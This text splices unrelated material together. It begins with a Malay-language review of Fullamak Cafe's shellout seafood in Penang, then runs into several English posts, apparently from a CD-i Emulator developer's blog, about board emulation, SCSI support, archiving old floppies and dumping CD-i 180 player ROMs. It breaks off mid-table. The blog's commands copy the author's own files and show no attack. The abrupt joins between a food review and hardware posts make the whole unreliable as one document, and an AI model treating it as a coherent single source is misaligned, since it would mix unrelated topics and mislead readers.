    Di Fullamak Cafe, sebenarnya menyediakan tiga set menu iaitu Set Couple (RM35), Set 4 Sekawan (RM65) dan Set 6 Sekawan (RM95). Setiap menu terdapat pelbagai makanan laut seperti ketam, udang, sotong, siput, jagung termasuklah sayur-sayuran. Tapi untuk harga nasi asing hanya RM1.20 satu bekas. Anda boleh buat pilihan untuk tambahan seafood.

    ShellOut Terbaik Penang Di Fullamak Cafe
    Rugi korang tak try???

    Memang terbaiklah dan terasa kesedapan kuah/ sos shellout yang diadun tradisional sambal dimana dalamnya dipecahkan telur. Ada rasa pedas-pedas makan lagi memang tak puas lah. Udang, sotong dan isi ketam memang terasa puas sekali. Besar jugaklah! Tambahan pulak dengan siput lala yang diadun dengan sos sambal memang sangat memukau.

    ShellOut Terbaik Penang Di Fullamak Cafe

    Tapi bagi anda yang ingin mencuba menu lain yang lebih rare boleh pilih Set Puas @Shellout Ketam Nipah dan Set Pasta @shellout Spimy Cheese Pasta. Selain itu juga, Fullamak Cafe turut menyediakan menu menarik yang lain seperti kerang rebus fullamak cicah sos, aneka spaghetti, nasi goreng special fullamak dan macam-macam lagi. Semua menu rasanya perlu cuba...

    ShellOut Terbaik Penang Di Fullamak Cafe

    Bagi aku memang sangat berbaloi makan makanan laut disini. Makanan lautnya sangat segar. Tak rugilah korang di luar sana khususnya warga Penang untuk mencuba shellout di Fullamak Cafe. Aku rasa cafe ni antara shellout terbaik di Penang.

    Maklumat Fullamak Cafe 

    Restoran : Fullamak Cafe
    Alamat :
    No.26 Borong Pauh Jaya 1/1, Jalan Baru, Taman Pauh Jaya, 13700 Perai, Pulau Pinang.
    Waktu niaga : 
    ● Selasa hingga Khamis : 12 tengahari - 12 tengah malam 
    ● Jumaat hingga Ahad : 5 petang hingga 12 tengah malam 
    ● Hari Isnin tutup

    Muka senyum je....

    Orang utaqha mari-mari maihhh... Selamat shellout di Fullamak Cafe!

              JNMS and Maxi-MMC updates        
    This weekend I fixed some disc emulation issues for the JNMS and Maxi-MMC boards. I had previously erroneously identified these two boards but they are different.

    The JNMS board is the one in the CDI 180 player (also called the JNMS player). It is not used in any other player and contains a CDIC (CD Interface Controller) chip but no SLAVE processor.

    The Maxi-MMC board is the one in the CDI 601 and 602 players. From the emulation point of view it is virtually identical to the Mini-MMC board used by the CDI 605 player, but it has a different CDIC chip version. Both boards contain a SLAVE processor.

    The link between the JNMS and Maxi-MMC boards is the CDIC chip: both turn out to have the same older CDIC chip version that differs in a few details from the version used on the Mini-MMC and Mono-I boards players (I described these differences in the earlier “CD-i 180 disc playing” post).

    I noticed the JNMS / Maxi-MMC link from the CD-i player type table in the July 1996 issue of The Interactive Engineer (it’s on the ICDIA site); turns out I had misinterpreted the Board column on page 4 (there’s also an error there: the 601/602 certainly do not have the 180 board!).

    After noticing this I did some testing and it turns out that the CDIC modifications needed for the 180 also work for the 601, including the TOC reading problem.

    I have yet to find a way to get chip version information from the CDIC chip itself, so for the time being I’ve keyed the differences on the SLAVE software version. The 180 has no such chip, the 601 has version 1.x where the 605 has version 3.x. For now I’ve assumed that version 2.x also uses the older CDIC chip, but that may be wrong (the 602 or 604 might be interesting test cases).

    Having done that, I did some more digging into the TOC read issue. It turns out that the 601 ROM performs CRC validation on the subcode Q data from the lead-in area (which is where the TOC is stored), and CD-i Emulator didn’t provide a valid CRC (no other ROMs I’ve seen so far validate this in software). The ROM even has compensation for shifts of between 1 and 7 bits in the incoming subcode Q data, probably because of some hardware timing issue.

    I also noticed a bug in the ROM: it always uses the first sector buffer because it takes the current buffer bit from the wrong memory location. Not that this really matters because the TOC data is repeated multiple times; half of the repetitions will always land in the first buffer anyway. The bug is fixed in the 605 ROM.

    Generating a valid CRC turned out to be straightforward (it’s just a simple CRC-CCITT calculation), but the ROM wouldn’t recognize it! After some head scratching I focused on the ROXL instruction (Rotate Left with Extend) used in the validation code. It is quite an esoteric instruction; could it be that there was an emulation bug here? It turns out that there was indeed; during rotation the contents of the X flag where put in the wrong bit. After fixing this the ROM properly recognized the data and the TOC reads became just as quick as other player models.

    In search of version information for the CDIC chip I looked at the emulations and found one potential point of interest: the release number displayed by the service shell. This is a special GUI shell that performs some service functions; you can get to it by inserting a specially wired test plug into input port 1.

    After some digging I found that the service shell obtains this number from the SLAVE processor, so it probably does not directly correspond to a CDIC version. The number does appear to differ from other version numbers, though, at least on my two 605 players.

    The service shell obtains this number using two special I$SetStt calls into the CDIC driver; extending CD-i Link to remotely perform these same calls was easy. The new -cds[tatus] option can now be used to make the special calls. Here's some representative output of the -cds A3 option:

    CD status A3000000 -> A3320000

    Extending CD-i Link with remote OS9 calls is actually a fairly easy way to perform some information and tracing actions; I will probably use it for sorting out other dangling issues in the near future. When possible, this technique avoids the problems of writing a fullblown memory-resident trace module.

    A new public beta release of CD-i Emulator that has full JNMS and Maxi-MMC support (among other things) is scheduled before the end of this year; there are still a few other issues that need sorting out first. This release should also have better support for the PCDI board used by several portable players, including the CD-i 370.

    The major player holes still remaining are the Sony IVO-10/11 players, the Kyocera player, the Bang&Olufsen TV/player combi and of course the I2M board. There is some perspective for all of these but they are not high priority; except for the latter I expect all of them to be minor hardware variations of existing boards.

    The I2M board has the interesting feature that it has multiple "ROMs" downloaded from the PC software (which is available for download from ICDIA); it also has a very different way of reading from CD as this is handled by the PC. As a consequence of this, audio is probably also handled differently. I have this board booting to a blue screen where it hangs on host communication.
              SCSI support and a big surprise        
    Last week I added SCSI disk support for the CD-i 60x extension board to CD-i Emulator. It took somewhat longer then I expected, though. This was mostly because the DP5380 SCSI controller chip exposes most low-level details of the SCSI protocol to the driver which means that all of these details have to be emulated.

    The emulation ended up to be a more-or-less complete software implementation of the parallel SCSI-2 protocol, including most of the low-level signaling on the BSY, SEL, ATN, MSG, C/D-, I/O-, REQ and ACK lines. This is all implemented by the new CScsiBus class representing the SCSI bus that connects up to 16 instances of the CScsiPort class that each represent a single SCSI-2 bus interface. I was able to mostly avoid per-byte signaling of REQ and ACK if the target device implementation supports block transfers, a big performance win.

    The new CCdiScsiDevice class emulates the DP5380 controller chip, working in conjunction with the CCdiScsiRamDevice and CCdiScsiDmaDevice classes that emulate the 32 KB of local extension SRAM and the discrete DMA logic around it that are included on the CD-i 60x extension board.

    The CD-i 182 extension uses a compatible SCSI controller chip but a different DMA controller and has no local extension SRAM. I have not yet emulated these because I have almost no software to test it.

    The new CScsiDevice class implements a generic SCSI device emulating minimal versions of the four SCSI commands that are mandatory for all SCSI device types: TEST UNIT READY, REQUEST SENSE, INQUIRY and SEND DIAGNOSTIC. It implements most of the boiler-plate of low-level SCSI signaling for target devices and the full command and status phases of SCSI command processing, allowing subclasses to focus on implementing the content aspects of the data transfer phase.

    The CScsiFile class emulates a SCSI device backed by a file on the host PC; it includes facilities for managing the SCSI block size and the transfer of block-sized data to and from the backing file.

    The CScsiDisk and CScsiTape classes emulate a SCSI disk and tape device, respectively, currently supporting a block size of 512 bytes only. Instances of these classes are connected to the SCSI bus by using the new
    -s[csi]d[isk][0-7] FILE and -s[csi]t[ape][0-7] FILE options of CD-i Emulator.

    The CD-i 60x extension board normally uses SCSI id 5; the built-in ROM device descriptors for SCSI disks use SCSI ids starting at zero (/h0 /h1 /h2) while the built-in device descriptor for a SCSI tape uses SCSI id 4 (/mt0). This means that the useful options with the 60x are -scsidisk0, -scsidisk1, -scsidisk2 and -scsitape 4.

    I've added the new dsk subdirectory to contain disk images; tape images have no standard location as they are mostly intended for bulk-transfer purposes (see below).

    Inside the CD-i player this leads to the following response to the built-in inquire command:
    $ inquire -i=0
    vendor identification:"CDIFAN CDIEMU SCSIDISK "

    $ inquire -i=4
    vendor identification:"CDIFAN CDIEMU SCSITAPE "
    where the "CDIFAN " part is the vendor name and the "CDIEMU SCSIXXXX " part is the product name.

    In the previous post I described a 450 MB OS-9 hard disk image that I found on the Internet. After mounting it with
    -scsidisk0 mw.dsk I got the following output:
    $ free /h0
    "MediaWorkshop" created on: Feb 17, 1994
    Capacity: 1015812 sectors (512-byte sectors, 32-sector clusters)
    674144 free sectors, largest block 655552 sectors
    345161728 of 520095744 bytes (329.17 of 496.00 Mb) free on media (66%)
    335642624 bytes (320.09 Mb) in largest free block

    $ dir -d /h0

    Directory of /h0 23:49:36
    ASU/ AUDIO/ CDI_BASECASE/ CINERGY/ CMDS/
    COPY/ CURSORS/ DEFS/ DEMOS/ ENET/
    ETC/ FDRAW/ FONTS/ FontExample/ ISP/
    LIB/ MAUI/ MAUIDEMO/ MENU/ MWOS/
    NFS/ README_CIN README_MWS SCRIPT/ SHARE/
    SHIP/ SYS/ T2D_RUNTIME/ TEMP/ TEMPMARK/
    TEST/ USR/ VIDEO/ abstract.txt bibliographic.txt
    bkgd.c8 bkgd.d cdb cdb1 cdb2
    cdi_opt_install chris_test cin copyright.mws copyright.txt
    csd_605 custominits_cin delme dos/ file
    font8x8 get globs.mod go go.mkfont
    inetdb ipstat kick1a_f.c8 kick2a_f.c8 mtitle
    mws net new_shell new_shell.stb scratch
    screen startup_cin thelist
    You can see why thought it was a MediaWorkshop disc, but on closer inspection this turned out to something quite different. Some basic scrutiny lead to the hypothesis that this is probably a disk backup of someone from Microware working on early development of the DAVID (Digital Audio Video Interactive Decoder) platform. There are various surprises on the disk which I will describe below.

    Anyway, I wanted to transfer the contents to the PC as a tar archive, similar to the procedure I used for my CD-i floppy collection. After starting CD-i Emulator with a -scsitape4 mw.tar option this was simply a matter of typing the following into the terminal window:
    tar cb 1/h0
    This command runs the "tape archiver" program to create a tape with the contents of the /h0 directory, using a tape blocking size of 1 (necessary because my SCSI tape emulation doesn't yet support larger block sizes). The resulting mw.tar file on the PC is only 130 MB, not 450 MB which indicates that the disk is mostly empty. At some point I might use an OS-9 "undelete" program to find out if there are additional surprises.

    Extracting the mw.tar file was now a simple matter of running the PC command
    tar xvf mv.tar
    This produced an exact copy of the OS-9 directory structure and files on the PC.

    Many of the directories on the hard disk are clearly copies of various distribution media (e.g. CDI_BASECASE, CINERGY, CURSORS, ENET, FONTS, ISP, MWOS, NFS). The contents of the ENET, ISP and NFS directories at first appear to match some of my floppies, including version numbers, but on closer inspection the binaries are different. Running some of them produces "Illegal instruction" errors so I suspect that these are 68020 binaries.

    The SHIP directory contains some prerelease RTNFM software; the readme talks about PES which is a type of MPEG-2 stream (Packetized Elementary Stream). Various asset directories contain versions of a "DAVID" logo.

    The CMDS directory contains working versions of the Microware C compiler, identical to the ones I already had and also many other programs. It also contains some "cdb" files (configuration database?) that mention the 68340 processor.

    The contents of the CMDS/BOOTOBJS directory produced a first surprise: it contains a subdirectory JNMS containing among others files named "rb1793" and "scsijnms". Could this be floppy and SCSI drivers for the CD-i 182 extension, as it contains with a 1793 floppy drive controller (the CD-i 60x uses a different one) and the player has a "JNMS" serial number?

    Well, yes and no. Disassembly of the scsijnms file proved it to be compiled C code using an interface different from OS-9 2.4 drivers, so I suspect this is an OS-9 3.x driver. In any case, I cannot use it with the stock CD-i 180 player ROMs. Bummer...

    And now for the big surprise: deeply hidden in a directory structure inside the innocently named COPY directory is the complete assembly source for the VMPEG video driver module "fmvdrv". At first glance it looked very familiar from my disassembly exercises on the identically-named Gate Array 2 MPEG driver module "fmvdrv", which is as expected because I had already noticed the large similarity between these two hardware generations.

    The source calls the VMPEG hardware the "IC3" implementation, which matches CD-i digital video history as I know it. The Gate Array MPEG hardware would be "IC2" and the original prototype hardware would be "IC1". Furthermore, the sources contain three source files named fmvbugs1.a to fmvbugs3.a whose source file titles are "FMV first silicon bugs routines" to "FMV third silicon bugs routines". The supplied makefile currently uses only fmvbugs3.a as is to be expected for a VMPEG driver.

    The fmvbugs1.a source contains some of the picture buffer manipulation logic that I've so far carefully avoided triggering because I couldn't understand it from my disassemblies, and this is now perfectly understandable: they are workarounds for hardware bugs!

    As of two hours ago, I have verified that with a little tweaking and reconstruction of a single missing constants library file these sources produce the exact "fmvdrv" driver module contained in the vmpega.rom file directly obtained from my VMPEG cartridge.

    In general these sources are very heavily commented, including numerous change management comments. They also include a full set of hardware register and bit names, although no comments directly describing the hardware. This should be of great help in finally getting the digital video emulation completely working.

    All of the comments are English, although a few stray words and developer initials lead me to believe that the programmers were either Dutch or Belgian.

    Disassembly comparisons lead me to the conclusion that careful undoing of numerous changes should result in exact sources for the GMPEGA2 driver module "fmvdrv" as well. I might even do it at some point, although this is not high priority for me.

    The disk image containing all of these surprises is publicly available on the Internet since at least 2009, which is probably someone's mistake but one for which I'm very grateful at this point!
              CD-i floppy inventory        
    Last weekend I future-proofed my CD-i floppy collection. A bit to my surprise, all floppies except one turned out to be perfectly readable (nearly twenty years after they were last written!). Luckily, the one exception was a backup copy so I didn’t lose any contents.

    I had originally intended to use the borrowed CDI 182 unit for this (it has two floppy drives). The primary motivation for this was that my unstowed CDI 605 could not read beyond track zero of any floppy, but after giving the matter some thought I decided to try my other CDI 605 first, the primary motivation for this being speed (see below). It turned out that this 605 could read the floppies perfectly, including the three 38U0 format ones that gave problems on the 182 unit. Microware has defined a number of OS-9 disk formats for floppies, the 38U0 one supposedly being the “universal” 3.5" format (there is also a 58U0 “universal” 5¼" format).

    The problem with the “universal” formats is that track zero can be (and on my floppies, is) in a different density which makes it a bad fit for most tools, both on CD-i and PC. It also means that only 79 tracks are used for data storage, giving a raw capacity of 79 × 2 × 16 × 256 = 632 KB. The 3803 format used by all my other CD-i floppies uses all 80 tracks and consequently has 8 KB more of raw storage for a total of 640 KB (these are both double-density, double-side formats (DS, DD) with 16 sectors of 256 bytes per track like nearly all OS-9 disk formats).

    Before unstowing my other CDI 605 (it was nearly at the bottom of a 150 cm stowed equipment stack) I tried reading the floppies with my trusty old Windows 98 machine which still has floppy drives. I could not quickly find a DOS tool that handled the 256 byte sectors (not even raread and friends), although I suspect that Sydex’s TELEDISK product would have handled it just fine. I also tried Reischke’s OS9MAX which should handle all OS-9 formats under the sun according to its documentation. The demo version ran under MS-DOS and gave me working directory listings, even for the 38U0 floppies, but it does not support actually reading the files and I am somewhat doubtful about the current availability of the paid-for full version (even apart from cost concerns).

    Why did I decide to use the 605? It was not a question of reading the disks (the 182 did this mostly fine) but of handling the data thus read. The 182 unit has a SCSI connector but I have no drivers for it (yet) and dumping my full floppy collection over the serial port did not really appeal to me for speed and reliability reasons (it could have been done, of course).

    The 605 player has a SCSI connector and includes drivers for it so I could have just connected it to the SCSI disk in my E1 emulator and copied the floppies to hard disk (I would still have needed to transfer them to my laptop which would have been a two-step process via the Windows 98 PC as I have no SCSI connection on my laptop).

    Instead I used the BNC network connector of the 605 to directly transfer floppy images to my laptop (it needs a network switch supporting both a BNC connector and the modern RJ45 connectors, but luckily I have two of those, even if they are only 10 Mbit/s). Starting up the network environment of the 605 took only two OS-9 commands at the command shell prompt:
    ispmode /le0 addr=10.0.0.120
    mbinstall
    After this I could just ftp in to my laptop where I ran ftpdmin, a very minimal ftp server program, and transfer floppy disk images directly:
    ftp 10.0.0.110
    bin
    put /d0@ floppy.dsk
    (where /d0@ is the raw floppy device, for 38U0 I used /d0uv@, both are built-in for the 605).

    The transfers ran at the maximum speed of the floppy drive (way below the 10 Mbit/s network speed), and the resulting .dsk files are perfectly readable using the –v option (virtual disk) of Carey Bloodworth’s os9.exe program even though that program was originally written for Tandy Color Computer OS9/6809 floppies (the floppy disk format was not changed for OS-9/68000 which is at the core of CD-i’s CD-RTOS operating system).

    For easy access I also created a “tar” format archive of each floppy on a RAM disk:
    chd /d0
    tar cvf /r768/floppy.tar .
    and ftp’d those to my laptop as well (the /r768 device is a 768 KB variation of the /r512 built-in 512 KB RAM disk device of the 605 player).

    I ended up with the following collection of unique floppy disk images:
    • 605h3 - 605 H3 Driver Update (1 floppy)
    • 605upd - 605 Driver Update (1 floppy)
    • bcase - Basecase Tests (1 floppy)
    • eboot41 - Emulation Boot Diskette (1 floppy)
    • eburn41 - Emulation and CDD 521 Boot Diskette (1 floppy)
    • inet - CD-I Internet Installation Disk - V1.3 (1 floppy)
    • nfs - OS-9/68000 Network File System V.1.0 (1 floppy)
    • os9sys - OS-9 System Diskette (1 floppy)
    • pubsoft - OptImage Public Domain Software (2 floppies)
    • pvpak - OptImage Preview Pak Installation Disk (1 floppy)
    • ubridge - OS-9 UniBridge Resident Utilities (3 floppies)

    The 605* and eb* floppies are mostly interesting for CD-i 605 or E1 emulator owners, but the bcase floppy contains a set of CD-i standard conformance test programs that.

    The inet and nfs floppies contain a full set of Internet software including Telnet and FTP servers and clients and an NFS client (all except the latter are also in the 605 ROMs).

    The os9sys floppy contains a full set of Professional OS-9 programs and is my original source for most of the OS-9 CD-i disc that I described earlier (most of these are not in ROM on any CD-i player that I’ve seen so far).

    The pubsoft floppies contain miscellanous utilities such as bfed, du, kermit, umacs and vi, most of which can be obtained elsewhere, some CD-i specific utilities such as da (CD-i disk analyzer) and iffinfo (CD-i IFF file dumper) as well as library source files for the CD-i IFF file library.

    The pvpak floppy contains preview software for CD-i images that will preview CD-i IFF files from an NFS-mounted host file system directory.

    The ubridge floppies are the goldmine (and also the 38U0 format ones) as they contain a full set of native Microware C compiler/assembler/linker/debugger software for OS-9 complete with CD-i header files and libraries and C runtime startup sources. Both the srcdbg and sysdbg debuggers are included as well as the rdump utility for dumping ROFF (Relocatable Object File Format) files.

    Unfortunately, most of the above software except for the pubsoft contents is copyrighted property of Microware (now Radisys) or OptImage (a former Philips/Microware joint venture) which means that I cannot distribute it, even though they could be very useful to CD-i homebrew developers. For that the hopefully soon-to-be available GCC cross-port will have to be enough...

    While investigating all of the above I also stumbled upon a 450 MB OS-9 hard disk image for MediaWorkshop. The os9.exe program recognizes it just enough to say that it does not support it so I have no real idea about its contents except the obvious.

    To remedy that problem I’m in the process of adding SCSI disk support to CD-i emulator so that I can use the SCSI support in the CD-i 605 ROMs to mount the disk image and look at it. This should also allow the CD-i 180 to boot from a SCSI disk if I ever find drivers for it (a possible path to that has just appeared, we’ll see...).
              CD-i 180 adventures        
    Over the last week I have been playing with the CD-i 180 player set. There’s lots to tell about, so this will be a series of blog posts, this being the first installment.

    The CD-i 180 is the original CD-i player, manufactured jointly by Philips and Sony/Matsushita, and for a score of years it was the development and “reference” player. The newer CD-i 605 player provided a more modern development option but it did not become the “reference” player for quite some years after its introduction.

    The CD-i 180 set is quite bulky, as could be expected for first-generation hardware. I have added a picture of my set to the Hardware section of the CD-i Emulator website; more fotos can be found here on the DutchAudioClassics.nl website (it’s the same player, as evidenced by the serial numbers).

    The full set consists of the CDI 180 CD-i Player module, the CDI 181 Multimedia Controller or MMC module and the CDI 182 Expansion module. The modules are normally stacked on top of each other and have mechanical interlocks so they can be moved as a unit. Unfortunately, I do not have the CDI 182 Expansion module nor any user manuals; Philips brochures for the set can be found here on the ICDIA website.

    Why am I interested in this dinosaur? It’s the first mass-produced CD-i player (granted, for relatively small masses), although there were presumably some earlier prototype players. As such, it contains the “original” hardware of the CD-i platform, which is interesting from both a historical and an emulation point of view.

    For emulation purposes I have been trying to get hold of CD-i 180 ROMs for some years, there are several people that still have fully operational sets, but it hasn’t panned out yet. So when I saw a basic set for sale on the CD-Interactive forum I couldn’t resist the temptation. After some discussion and a little bartering with the seller I finally ordered the set about 10 days ago. Unfortunately, this set does not include a CDI 182 module or pointing device.

    I had some reservations about this being a fully working set, but I figured that at least the ROM chips would probably be okay, if nothing else that would allow me to add support for this player type to CD-i Emulator.

    In old hardware the mechanical parts are usually the first to fail, this being the CDI 180 CD-i Player module (which is really just a CD drive with a 44.1 kHz digital output “DO” signal). A workaround for this would be using an E1 or E2 Emulator unit; these are basically CD drive simulators that on one side read a CD-i disc image from a connected SCSI hard disk and on the other side output the 44.1 kHz digital output “DO” signal. Both the CDI 180 and E1/E2 units are controlled via a 1200 baud RS232 serial input “RS” signal.

    From my CD-i developer days I have two sets of both Emulator types so I started taking these out of storage. For practical reasons I decided to use an E1 unit because it has an internal SCSI hard disk and I did not have a spare one lying around. I also dug out an old Windows 98 PC, required because the Philips/OptImage emulation software doesn’t work under Windows XP and newer, and one of my 605 players (I also have two of those). Connecting everything took me a while but I had carefully stored all the required cables as well and after installing the software I had a working configuration after an hour or so. The entire configuration made quite a bit of mechanical and fan noise; I had forgotten this about older hardware!

    I had selected the 605 unit with the Gate Array AH02 board because I was having emulation problems with that board, and I proceeded to do some MPEG tests on it. It turns out the hardware allows for some things that my emulator currently does not, which means that I need to do some rethinking. Anyway, on with the 180 story.

    In preparation for the arrival of the 180 set I next prepared an disc image of the “OS-9 Disc” that I created in November 1993 while working as a CD-i developer. This disc contains all the OS-9 command-line programs from Professional OS-9, some OS-9 and CD-i utilities supplied by Philips and Microware and some homegrown ones as well. With this disc you can get a fully functional command-line prompt on any CD-i player with a serial port, which is very useful while researching a CD-i player’s internals.

    The Philips/Optimage emulation software requires the disc image files to include the 2-second gap before logical block zero of the CD-i track, which is not usually included in the .bin or .iso files produced by CD image tools. So I modified the CD-i File program to convert my existing os9disc.bin file by prepending the 2-second gap, in the process also adding support for scrambling and unscrambling the sector data.

    Scrambling is the process of XORing all data bytes in a CD-ROM or CD-i sector with a “scramble pattern” that is designed to avoid many contiguous identical data bytes which can supposedly confuse the tracking mechanism of CD drives (or so I’ve heard). It turned out that scrambling of the image data was not required but it did allow me to verify that the CD-I File converted image of a test disc is in fact identical to the one that the Philips/Optimage mastering tools produce, except for the ECC/EDC bytes of the gap sectors which CD-I File doesn’t know how to generate (yet). Fortunately this turned out not to be a problem, I could emulate the converted image just fine.

    Last Thursday the 180 set arrived and in the evening I eagerly unpacked it. Everything appeared to be in tip-top shape, although the set had evidently seen use.

    First disappointment: there is no serial port on the right side of 181 module. I remembered that this was actually an option on the module and I had not even bothered to ask the seller about it! This would make ROM extraction harder, but I was not completely without hope: the front has a Mini-DIN 8 connector marked “CONTROL” and I fully expected this to be a “standard” CD-i serial port because I seemed to remember that you could connect standard CD-i pointing devices to this port, especially a mouse. The built-in UART functions of the 68070 processor chip would have to be connected up somewhere, after all.

    Second disappointment: the modules require 120V power, not the 220V we have here in Holland. I did not have a voltage converter handy so after some phone discussion with a hardware-knowledgeable friend we determined that powering up was not yet a safe option. He gave me some possible options depending on the internal configuration so I proceeded to open up the CDI 181 module, of course also motivated by curiosity.

    The first thing I noticed was that there were some screws missing; obviously the module had been opened before and the person doing it had been somewhat careless. The internals also seemed somewhat familiar, especially the looks of the stickers on the ROM chips and the placement of some small yellow stickers on various other chips.

    Proceeding to the primary reason for opening up the module, I next checked the power supply configuration. Alas, nothing reconfigurable for 220V, it is a fully discrete unit with the transformer actually soldered to circuit board on both input and output side. There are also surprisingly many connections to the actual MMC processor board and on close inspection weird voltages like –9V and +9V are printed near the power supply outputs, apart from the expected +5V and +/–12V, so connecting a different power supply would be a major undertaking also.

    After some pondering of the internals I closed up the module again and proceeded to closely inspect the back side for serial numbers, notices, etc. They seemed somewhat familiar but that isn’t weird as numbers often do. Out of pure curiosity I surfed to the DutchAudioClassics.nl website to compare serial numbers, wanting to know the place of my set in the production runs.

    Surprise: the serial numbers are identical! It appears that this exact set was previously owned by the owner of that website or perhaps he got the photographs from someone else. This also explained why the internals had seemed familiar: I had actually seen them before!

    I verified with the seller of the set that he doesn’t know anything about the photographs; apparently my set has had at least four owners, assuming that the website owner wasn’t the original one.

    On Friday I obtained a 120V converter (they were unexpectedly cheap) and that evening I proceeded to power up the 180 set. I got a nice main menu picture immediately so I proceeded to attempt to start a CD-i disc. It did not start automatically when I inserted it, which on second thought makes perfect sense because the 181 MMC module has no way to know that you’ve just inserted a disc: this information is not communicated over 180/181 interconnections. So I would need to click on the “CD-I” button to start a disc.

    To click on a screen button you need a supported pointing device, so I proceeded to connect the trusty white professional CD-i mouse that belongs with my 605 players. It doesn’t work!

    There are some mechanical issues which make it doubtful that the MiniDIN connector plugs connect properly, so I tried an expansion cable that fit better. Still no dice.

    The next step was trying some other CD-i pointing devices, but none of them worked. No pointing devices came with the set, and the seller had advised me thus (they were presumable lost or sold separately by some previous owner). The only remaining option seemed to be the wireless remote control sensor which supposedly uses RC5.

    I tried every remote in my home, including the CD-i ones, but none of them give any reaction. After some research into the RC5 protocol this is not surprising, the 180 set probably has a distinct system address code. Not having a programmable remote handy nor a PC capable of generating infrared signals (none of my PCs have IrDA) I am again stuck!

    I spent some time surfing the Internet looking for RC5 remotes and PC interfaces that can generate RC5 signals. Programmable remotes requiring a learning stage are obviously not an option so it will have to be a fully PC-programmable remote which are somewhat expensive and I’m not convinced they would work. The PC interface seems the best option for now; I found some do-it-yourself circuits and kits but it is all quite involved. I’ve also given some thought to PIC kits which could in principle also support a standard CD-i or PC mouse or even a joystick, but I haven’t pursued these options much further yet.

    Next I went looking for ways to at least get the contents of the ROM chips as I had determined that these were socketed inside the MMC module and could easily be removed. There are four 27C100 chips inside the module, each of which contains 128Kb of data for a total of 512Kb which is the same as for the CD-i 605 player (ignoring expansion and full-motion video ROMs). The regular way to do this involves using a ROM reading device, but I haven’t gotten one handy that supports this chip type and neither does the hardware friend I mentioned earlier.

    I do have access to an old 8 bit Z80 hobbyist-built system capable of reading and writing up to 27512 chips which are 64Kb, it is possible to extend this to at least read the 27C100 chip type. This would require adapting the socket (the 27512 is 28 pins whereas the 27C100 has 32 pins) and adding one extra address bit, if nothing else with just a spare wire. But the Z80 system is not at my house and some hardware modifications to it would be required, for which I would have to inspect the system first and dig up the circuit diagrams; all quite disappointing.

    While researching the chip pinouts I suddenly had an idea: what if I used the CD-i 605 Expansion board which also has ROM sockets? This seemed an option but with two kids running around I did not want to open up the set. That evening however I took the board out of the 605 (this is easily done as both player and board were designed for it) and found that this Expansion board contains two 27C020 chips, each containing 256Kb of data. These are also 32 pins but the pinouts are a little different, so a socket adapter would also be needed. I checked the 605 technical manual and it did not mention anything about configurable ROM chip types (it did mention configurable RAM chip types, though) so an adapter seemed the way to go. I collected some spare 40 pin sockets from storage (boy have I got much of that) and proceeded to open up the 180 set and take out the ROM chips.

    When determining the mechanical fit of the two sockets for the adapter I noticed three jumpers adjacent to the ROM sockets of the expansion board and I wondered… Tracing of the board connections indicated that these jumpers were indeed connected to exactly the ROM socket pins differing between 27C100 and 27C020, and other connections indicated it at least plausible for these jumpers to be exactly made for the purpose.

    So I changed the jumpers and inserted one 180 ROM. This would avoid OS-9 inadvertently using data from the ROM because only half of each 16-bit word would be present, thus ensuring that no module headers would be detected, and in the event of disaster I would lose only a single ROM chip (not that I expected that to be very likely, but you never know).

    Powering up the player worked exactly as expected, no suspicious smoke or heat generation, so the next step was software. It turns out that CD-i Link already supports downloading of ROM data from specific memory addresses and I had already determined those addresses from the 605 technical manual. So I connected the CD-i 605 null-modem cable with my USB-to-Serial adapter between CD-i player and my laptop and fired off the command line:

    cdilink –p 3 –a 50000 –s 256K –u u21.rom

    (U21 being the socket number of the specific ROM I chose first).

    After a minute I aborted the upload and checked the result, and lo and behold the u21.rom file looked like an even-byte-only ROM dump:
    00000000  4a00 000b 0000 0000 0004 8000 0000 0000 J...............
    00000010 0000 0000 0000 003a 0000 705f 6d6c 2e6f .......:..p_ml.o
    00000020 7406 0c20 0000 0000 0101 0101 0101 0101 t.. ............
    This was hopeful, so I restarted the upload again and waited some six minutes for it to complete. Just for sure I redid the upload from address 58000 and got an identical file, thus ruling out any flakey bits or timing problems (I had already checked that the access times on the 27C100 and 27C020 chips were identical, to say 150ns).

    In an attempt to speed up the procedure, I next attempted to try two ROMs at once, using ones that I thought not to be a matched even/odd set. The 605 would not boot! It later turned out that the socket numbering did not correspond to the even/odd pairing as I expected so this was probably caused by the two ROMs being exactly a matched set and OS-9 getting confused as the result. But using a single ROM it worked fine.

    I proceeded to repeat the following procedure for the next three ROMs: turn off the 605, remove the expansion board, unsocket the previous ROM chip, socket the next ROM chip, reinsert the expansion board, turn on the 605 and run CD-i Link twice. It took a while, all in all just under an hour.

    While these uploads were running I wrote two small programs rsplit and rjoin to manipulate the ROM files into a correct 512Kb 180 ROM image. Around 00:30 I had a final cdi180b.rom file that looked good and I ran it through cditype –mod to verify that it indeed looked like a CD-I player ROM:
      Addr     Size      Owner    Perm Type Revs  Ed #  Crc   Module name
    -------- -------- ----------- ---- ---- ---- ----- ------ ------------
    0000509a 192 0.0 0003 Data 8001 1 fba055 copyright
    0000515a 26650 0.0 0555 Sys a000 83 090798 kernel
    0000b974 344 0.0 0555 Sys 8002 22 b20da9 init
    0000bacc 2848 0.0 0555 Fman a00b 35 28611f ucm
    0000c5ec 5592 0.0 0555 Fman a000 17 63023d nrf
    0000dbc4 2270 0.0 0555 Fman a000 35 d6a976 pipeman
    0000e4a2 774 0.0 0555 Driv a001 6 81a3e9 nvdrv
    0000e7a8 356 0.0 0555 Sys a01e 15 e69105 rp5c15
    0000e90c 136 0.0 0555 Desc 8000 1 f25f23 tim070
    0000e994 420 0.0 0555 Driv a00c 6 7b3913 tim070driv
    0000eb38 172 0.0 0555 Driv a000 1 407f81 null
    0000ebe4 102 0.0 0555 Desc 8000 2 cf450e pipe
    0000ec4a 94 0.0 0555 Desc 8000 1 f54010 nvr
    0000eca8 96 0.0 0555 Desc 8000 1 17ec68 icard
    0000ed08 1934 0.0 0555 Fman a000 31 b41f17 scf
    0000f496 120 0.0 0555 Desc 8000 61 dd8776 t2
    0000f50e 1578 0.0 0555 Driv a020 16 d0a854 u68070
    0000fb38 176 0.1 0777 5 8001 1 a519f6 csd_mmc
    0000fbe8 5026 0.0 0555 Sys a000 292 e33cc5 csdinit
    00010f8a 136 0.0 0555 Desc 8000 6 041e2b iic
    00011012 152 0.0 0555 Driv a02c 22 e29688 ceniic
    000110aa 166 0.0 0555 Desc 8000 8 c5b823 ptr
    00011150 196 0.0 0555 Desc 8000 8 a0e276 cdikeys
    00011214 168 0.0 0555 Desc 8000 8 439a33 ptr2
